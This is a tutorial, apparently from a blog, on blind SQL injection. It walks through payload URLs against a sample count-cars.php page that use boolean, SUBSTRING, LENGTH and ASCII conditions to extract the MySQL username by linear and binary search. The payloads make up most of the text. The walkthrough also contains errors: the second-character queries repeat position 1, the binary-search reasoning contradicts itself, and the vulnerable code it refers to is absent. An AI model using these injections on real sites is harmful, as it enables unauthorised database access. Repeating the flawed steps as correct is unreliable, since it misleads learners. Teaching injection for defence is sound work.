Blind SQL Injection # Inference Techniques

Blind SQL Injection is the kind of attack based on inference because you’ve no displayed error and no message indicating warnings, in this article, you’ll use inference techniques for a use case of getting the current MySQL username and hostname from a vulnerable code.

You’ll use the same tables and data from the previous example setup, and this is the code of the count-cars.php page:

I assume that you as an attacker you’re visiting the URL http://example.com/count-cars.php?car_name=Ford that gives you the result of counting the number of Ford cars, from the URL, you start including the first injection which include a single quote after the value Ford' plus a falsy test on the car_name parameter value, and you begin watching the result.

The falsy condition AND '1' = '2 returns the message Nothing to show, while the truly condition AND '1' = '1 returns the number of Ford cars, and these are the URLs in question:

http://example.com/count-cars.php?car_name=Ford’ AND ‘1’ = ‘2

http://example.com/count-cars.php?car_name=Ford’ AND ‘1’ = ‘1

These two URLs are helping to form new queries and infer the presence of the SQL Injection, so after being sure that the code is vulnerable, now you’ll move further for getting the MySQL username and hostname.

Linear Search

For this purpose, you’ll use SUBSTRING which will create a condition for checking the existence of a specific character on each position from the SYSTEM_USER which returns the current MySQL username and hostname, and this is how you form the injection:

First Character:

1 – http://example.com/count-cars.php?car_name=Ford’ AND SUBSTRING(SYSTEM_USER(), 1,1) = ‘a

2 – http://example.com/count-cars.php?car_name=Ford’ AND SUBSTRING(SYSTEM_USER(), 1,1) = ‘a

….

18 – http://example.com/count-cars.php?car_name=Ford’ AND SUBSTRING(SYSTEM_USER(), 1,1) = ‘r

The query when accesing the URL at the step 18 return true which means that the first character of the username is r, so you keep checking for the next position of the username by chaning the position argument from 1 to 2:

1 – http://example.com/count-cars.php?car_name=Ford’ AND SUBSTRING(SYSTEM_USER(), 1,1) = ‘a

….

15 – http://example.com/count-cars.php?car_name=Ford’ AND SUBSTRING(SYSTEM_USER(), 1,1) = ‘o

The query at the step 15 return true, so the second character of the username is o.

Wait a minute!! the question you’re asking yourself right now is, how many positions did I’ve to check on?

Great question and this is why and before going further to check for the other positions, let’s verify the length of the username by using the functionLENGTH(SYSTEM_USER()) that’ll return the number of characters of the username, so the condition will be LENGTH(SYSTEM_USER()) = n when n is a manualy predicted length number, and to check the validity you check if the condition is returning true the length is correct otherwise is not:

1 – http://example.com:8888/count-cars.php?car_name=Volvo’ AND LENGTH(SYSTEM_USER()) = ‘5

9 – http://example.com:8888/count-cars.php?car_name=Volvo’ AND LENGTH(SYSTEM_USER()) = ’14

The query at the step 9 is returning true, the length of the username then is 14 characters, and to return to the last question of how many positions did I’ve to check? The answer is 14 positions.

Binary Search

Doing the linear search, when you have to check on each position for each character including 256 Characters may need a hell of patience, this is where binary search can solve the problem by reducing the number of searches.

As an example, the character a in binary is a series of 8 bits (01100001), this 8 bit(1 byte) can have 1 to 256 values (2^8 = 256 Characters), and now instead for testing each character against the entire username you’ll infer the value of single bytes.

Now you add to the previous queries ASCII function which converts a string to a numeric presentation.

1 – http://example.com/count-cars.php?car_name=Ford’ AND ASCII(SUBSTRING(SYSTEM_USER(), 1,1)) < '127 (True)

2 – http://example.com/count-cars.php?car_name=Ford’ AND ASCII(SUBSTRING(SYSTEM_USER(), 1,1)) < '63 (False)

3 – http://example.com/count-cars.php?car_name=Ford’ AND ASCII(SUBSTRING(SYSTEM_USER(), 1,1)) < '100 (False)

4 – http://example.com/count-cars.php?car_name=Ford’ AND ASCII(SUBSTRING(SYSTEM_USER(), 1,1)) < '120 (True)

5 – http://example.com/count-cars.php?car_name=Ford’ AND ASCII(SUBSTRING(SYSTEM_USER(), 1,1)) < '110 (False)

6 – http://example.com/count-cars.php?car_name=Ford’ AND ASCII(SUBSTRING(SYSTEM_USER(), 1,1)) < '115 (True)

7 – http://example.com/count-cars.php?car_name=Ford’ AND ASCII(SUBSTRING(SYSTEM_USER(), 1,1)) < '114 (False)

8 – http://example.com/count-cars.php?car_name=Ford’ AND ASCII(SUBSTRING(SYSTEM_USER(), 1,1)) < '113 (False)

From that and since the the byte is greater than 115 and less than 113 the result is 114 converted to the symbol r, so the first character of the username is r.

In this case, you have not to go through each character and you’ll do fewer steps than the linear one.

That’s it, I know that it’s painful to do these test manually, however, the basics will give you a clear insight of how SQL injection is really working before jumping into any automation by using tools.

Leave a Reply

Your email address will not be published. Required fields are marked *